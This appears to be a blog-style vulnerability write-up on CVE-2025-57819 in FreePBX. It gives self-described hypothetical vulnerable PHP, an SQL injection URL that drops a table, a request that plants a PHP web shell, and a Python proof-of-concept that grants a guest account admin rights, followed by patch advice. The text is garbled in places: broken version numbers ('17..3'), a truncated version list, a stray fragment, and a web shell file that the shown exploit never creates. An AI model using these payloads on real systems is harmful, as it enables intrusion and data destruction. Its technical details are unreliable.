CVE-2025-57819 - Exploiting Unauthenticated Admin Access in FreePBX (Endpoint 15, 16, 17)

FreePBX is a popular open-source VoIP system, widely used for managing voice communications in organizations. It offers a web-based interface for administering PBX functionality. But a critical vulnerability (CVE-2025-57819) has been discovered affecting some endpoint modules in FreePBX versions 15, 16, and 17.

Due to insufficient validation of user-supplied data, unauthenticated attackers can gain access to the FreePBX Administrator – leading to uncontrolled changes in the database and even remote code execution (RCE).

FreePBX Endpoint 17: Older than 17..3

Patched versions:

17..3

Reference:
- Official Advisory on FreePBX Community Forums

Vulnerability Deep Dive

The vulnerable endpoint module in affected FreePBX versions fails to sanitize HTTP parameters. This allows attackers to inject payloads via the web interface API. The attack does not require authentication – anyone with HTTP access to the PBX (public or private) can try it.

What Actually Happens?

An attacker sends specially crafted HTTP requests, inserting malicious SQL or code into FreePBX’s routines via endpoint URLs.

If attackers know (or guess) an endpoint URL like /admin/config.php, they can inject data that manipulates the underlying MySQL database as root, or even drops system shells.

Example Code Analysis

Let’s (hypothetically) look at vulnerable code inside an endpoint module handler:

// Vulnerable way: Directly using GET input
if (isset($_GET['action']) && $_GET['action'] == 'edit') {
    $id = $_GET['id']; // No sanitization!
    $sql = "UPDATE endpoints SET status='active' WHERE id='$id'";
    $db->query($sql); // Dangerous!
}

Because $id isn’t checked or escaped, an attacker could visit

https://YOUR-FREEPBX/admin/config.php?action=edit&id=1';; DROP TABLE endpoints; --

Exploit Example: Achieving Remote Code Execution

A determined attacker can do much more. If endpoint settings allow, they could use a crafted POST request to write a PHP web shell into the server.

Exploit HTTP Request

POST /admin/config.php?action=edit&id=1'; INSERT INTO endpoints (name, status) VALUES ('hacker', '<?php system($_GET["cmd"]); ?>'); --
Host: vulnerable-freepbx.local
Content-Type: application/x-www-form-urlencoded

otherparams=1

After this, the attacker can visit

https://vulnerable-freepbx.local/webshell.php?cmd=whoami

…and execute any shell command remotely as the web server user.

Install malware or participate in ransomware campaigns

If your FreePBX is accessible from the internet and unpatched, you are at severe risk.

Proof-of-Concept Python Script

Here’s a simple script to test vulnerable systems (use only on machines you have permission to test):

import requests

url = 'http://vulnerable-freepbx.local/admin/config.php';
payload = "1'; UPDATE users SET admin=1 WHERE username='guest'; --"
params = {
    'action': 'edit',
    'id': payload
}
print("[*] Trying to escalate privileges...")
r = requests.get(url, params=params)
print("Status:", r.status_code)

Mitigation and Patch

Update your system!

For version 17: Upgrade to >= 17..3

Find updates and official patches here:
- FreePBX Downloads
- FreePBX Endpoint module changelog

Block external HTTP(S) access to the FreePBX admin panel

- Monitor access logs for unexpected requests to /admin/config.php

Conclusion

CVE-2025-57819 is a dangerous, easy-to-exploit vulnerability for FreePBX. It’s a classic case where small sloppy mistakes in code (like missing input checks) can open up critical infrastructure to attackers.

Don’t wait to be compromised.
Patch your endpoints, restrict admin access, and monitor security closely.

Timeline

Published on: 08/28/2025 17:15:36 UTC
Last modified on: 10/24/2025 13:58:40 UTC

CVE-2025-57819 - Exploiting Unauthenticated Admin Access in FreePBX (Endpoint 15, 16, 17) – Details & Practical Attack Scenarios